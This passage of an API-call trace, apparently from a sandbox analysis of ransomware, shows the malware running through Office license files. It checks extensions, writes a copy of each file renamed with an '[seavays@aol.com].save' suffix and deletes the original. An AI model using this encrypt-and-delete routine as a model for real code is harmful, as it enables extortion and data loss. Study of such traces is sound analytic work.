(lpString1=".rar", lpString2="m-ms") returned -1 [0190.886] lstrlenW (lpString=".bz2") returned 4 [0190.886] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.886] lstrlenW (lpString=".7z") returned 3 [0190.886] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0190.886] lstrlenW (lpString=".dbf") returned 4 [0190.886] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0190.886] lstrlenW (lpString=".1cd") returned 4 [0190.886] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-pl.xrm-ms") returned 81 [0190.887] lstrlenW (lpString=".jpg") returned 4 [0190.887] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.888] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=11619) returned 1 [0190.888] CloseHandle (hObject=0x554) returned 1 [0190.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 0x220 [0190.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0190.891] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.891] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0190.892] GetLastError () returned 0x0 [0190.892] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d63, lpOverlapped=0x0) returned 1 [0190.894] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0190.896] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.896] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x114, lpOverlapped=0x0) returned 1 [0190.896] SetEndOfFile (hFile=0x558) returned 1 [0190.897] CloseHandle (hObject=0x558) returned 1 [0190.897] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.897] SetEndOfFile (hFile=0x554) returned 1 [0190.903] CloseHandle (hObject=0x554) returned 1 [0190.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ul-oob.xrm-ms")) returned 1 [0190.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0190.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0190.905] lstrlenW (lpString=".doc") returned 4 [0190.905] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.905] lstrlenW (lpString=".docx") returned 5 [0190.905] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.905] lstrlenW (lpString=".pdf") returned 4 [0190.905] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.905] lstrlenW (lpString=".xls") returned 4 [0190.905] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.906] lstrlenW (lpString=".xlsx") returned 5 [0190.906] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.906] lstrlenW (lpString=".ppt") returned 4 [0190.906] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0190.906] lstrlenW (lpString=".zip") returned 4 [0190.906] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.906] lstrlenW (lpString=".rar") returned 4 [0190.906] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.906] lstrlenW (lpString=".bz2") returned 4 [0190.906] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.906] lstrlenW (lpString=".7z") returned 3 [0190.906] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0190.906] lstrlenW (lpString=".dbf") returned 4 [0190.906] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0190.906] lstrlenW (lpString=".1cd") returned 4 [0190.906] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ul-oob.xrm-ms") returned 82 [0190.906] lstrlenW (lpString=".jpg") returned 4 [0190.906] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.909] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=10659) returned 1 [0190.909] CloseHandle (hObject=0x554) returned 1 [0190.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 0x220 [0190.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0190.911] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.911] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0190.913] GetLastError () returned 0x0 [0190.913] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x29a3, lpOverlapped=0x0) returned 1 [0190.915] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x29b0, lpOverlapped=0x0) returned 1 [0190.917] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.917] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x112, lpOverlapped=0x0) returned 1 [0190.917] SetEndOfFile (hFile=0x558) returned 1 [0190.917] CloseHandle (hObject=0x558) returned 1 [0190.917] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.918] SetEndOfFile (hFile=0x554) returned 1 [0190.922] CloseHandle (hObject=0x554) returned 1 [0190.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.963] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-pl.xrm-ms")) returned 1 [0190.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0190.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0190.964] lstrlenW (lpString=".doc") returned 4 [0190.964] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.964] lstrlenW (lpString=".docx") returned 5 [0190.964] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.964] lstrlenW (lpString=".pdf") returned 4 [0190.965] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.965] lstrlenW (lpString=".xls") returned 4 [0190.965] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.965] lstrlenW (lpString=".xlsx") returned 5 [0190.965] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.965] lstrlenW (lpString=".ppt") returned 4 [0190.965] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0190.965] lstrlenW (lpString=".zip") returned 4 [0190.965] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.965] lstrlenW (lpString=".rar") returned 4 [0190.965] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.965] lstrlenW (lpString=".bz2") returned 4 [0190.965] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.965] lstrlenW (lpString=".7z") returned 3 [0190.965] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0190.965] lstrlenW (lpString=".dbf") returned 4 [0190.965] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0190.965] lstrlenW (lpString=".1cd") returned 4 [0190.965] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-pl.xrm-ms") returned 81 [0190.965] lstrlenW (lpString=".jpg") returned 4 [0190.965] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.966] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19957) returned 1 [0190.967] CloseHandle (hObject=0x554) returned 1 [0190.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0190.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0190.969] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.970] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0190.971] GetLastError () returned 0x0 [0190.971] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x4df5, lpOverlapped=0x0) returned 1 [0190.974] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x4e00, lpOverlapped=0x0) returned 1 [0190.976] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.976] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x11a, lpOverlapped=0x0) returned 1 [0190.976] SetEndOfFile (hFile=0x558) returned 1 [0190.977] CloseHandle (hObject=0x558) returned 1 [0190.977] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.977] SetEndOfFile (hFile=0x554) returned 1 [0190.987] CloseHandle (hObject=0x554) returned 1 [0190.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-phn.xrm-ms")) returned 1 [0190.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0190.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0190.991] lstrlenW (lpString=".doc") returned 4 [0190.991] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.991] lstrlenW (lpString=".docx") returned 5 [0190.991] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.991] lstrlenW (lpString=".pdf") returned 4 [0190.991] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.991] lstrlenW (lpString=".xls") returned 4 [0190.991] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.991] lstrlenW (lpString=".xlsx") returned 5 [0190.991] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.991] lstrlenW (lpString=".ppt") returned 4 [0190.991] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0190.991] lstrlenW (lpString=".zip") returned 4 [0190.991] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.992] lstrlenW (lpString=".rar") returned 4 [0190.992] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.992] lstrlenW (lpString=".bz2") returned 4 [0190.992] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.992] lstrlenW (lpString=".7z") returned 3 [0190.992] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0190.992] lstrlenW (lpString=".dbf") returned 4 [0190.992] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0190.992] lstrlenW (lpString=".1cd") returned 4 [0190.992] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-phn.xrm-ms") returned 85 [0190.992] lstrlenW (lpString=".jpg") returned 4 [0190.992] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.993] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=10651) returned 1 [0190.993] CloseHandle (hObject=0x554) returned 1 [0190.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 0x220 [0190.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0190.999] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.999] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0191.001] GetLastError () returned 0x0 [0191.001] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x299b, lpOverlapped=0x0) returned 1 [0191.004] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0191.005] ReadFile (in: hFile=0x554, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.005] WriteFile (in: hFile=0x558, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x10e, lpOverlapped=0x0) returned 1 [0191.005] SetEndOfFile (hFile=0x558) returned 1 [0191.171] CloseHandle (hObject=0x558) returned 1 [0191.191] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.191] SetEndOfFile (hFile=0x554) returned 1 [0191.195] CloseHandle (hObject=0x554) returned 1 [0191.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-pl.xrm-ms")) returned 1 [0191.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0191.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0191.198] lstrlenW (lpString=".doc") returned 4 [0191.198] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.198] lstrlenW (lpString=".docx") returned 5 [0191.198] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.198] lstrlenW (lpString=".pdf") returned 4 [0191.198] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.198] lstrlenW (lpString=".xls") returned 4 [0191.198] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.198] lstrlenW (lpString=".xlsx") returned 5 [0191.198] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.198] lstrlenW (lpString=".ppt") returned 4 [0191.198] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0191.199] lstrlenW (lpString=".zip") returned 4 [0191.199] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.199] lstrlenW (lpString=".rar") returned 4 [0191.199] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.199] lstrlenW (lpString=".bz2") returned 4 [0191.199] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.199] lstrlenW (lpString=".7z") returned 3 [0191.199] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0191.199] lstrlenW (lpString=".dbf") returned 4 [0191.199] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0191.200] lstrlenW (lpString=".1cd") returned 4 [0191.200] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-pl.xrm-ms") returned 79 [0191.200] lstrlenW (lpString=".jpg") returned 4 [0191.200] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.201] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=19949) returned 1 [0191.201] CloseHandle (hObject=0x554) returned 1 [0191.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms")) returned 0x220 [0191.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft 